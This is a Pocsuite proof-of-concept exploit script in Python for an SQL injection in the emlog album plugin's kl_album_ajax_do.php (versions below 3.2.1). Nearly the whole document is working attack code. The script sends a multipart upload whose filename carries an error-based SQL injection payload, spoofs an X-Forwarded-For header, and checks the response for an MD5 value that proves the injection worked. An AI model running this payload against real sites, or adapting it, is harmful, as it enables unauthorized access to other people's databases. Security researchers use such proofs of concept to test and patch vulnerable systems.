emlog album plug-in kl_album_ajax_do.php SQL injection vulnerability

                                                #!/usr/bin/env python
# coding: utf-8
import requests
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase


class TestPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['bugaosuni']
    vulDate = '2014-11-12'
    createDate = '2016-11-18'
    updateDate = '2016-11-18'
    references = ['http://www.leavesongs.com/PENETRATION/emlog-important-plugin-getshell.html']
    name = 'emlog相册插件 kl_album_ajax_do.php SQL注入漏洞'
    appPowerLink = 'http://www.emlog.net/plugin/6'
    appName = 'EM相册'
    appVersion = '<3.2.1'
    vulType = 'SQL Injection'
    desc = '''
    emlog相册插件前台SQL注入
    '''
    samples = ['']
    install_requires = ['requests']

    def _attack(self):
        return self._verify()

    def _verify(self):
        result = {}
        vul_url = '%s/content/plugins/kl_album/kl_album_ajax_do.php' % self.url

        # 运算MD5证明漏洞，123456的MD5值为e10adc3949ba59abbe56e057f20f883e
        payload = "info',(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,md5(123456)))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),'','','0','0','', 0)#.jpg"
        post_data = """-----------------------------19397961610256
            Content-Disposition: form-data; name="Filedata"; filename="{0}"
            Content-Type: image/jpeg

            1
            -----------------------------19397961610256
            Content-Disposition: form-data; name="album"

            111111
            -----------------------------19397961610256--""".format(payload)
        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0',
                   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                   'Accept-Language': 'zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3',
                   'Accept-Encoding': 'gzip, deflate',
                   'X-Forwarded-For': '8.8.8.8',
                   'Connection': 'Keep-Alive',
                   'Content-Type': 'multipart/form-data; boundary=---------------------------19397961610256',
                   'Content-Length': '514'
                   }        
        response = requests.post(vul_url, data=post_data, headers=headers)
        if response.status_code == 200 and 'e10adc3949ba59abbe56e057f20f883' in response.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['VerifyInfo']['Payload'] = payload

        return self.parse_output(result)

    def parse_output(self, result):
        # parse output
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)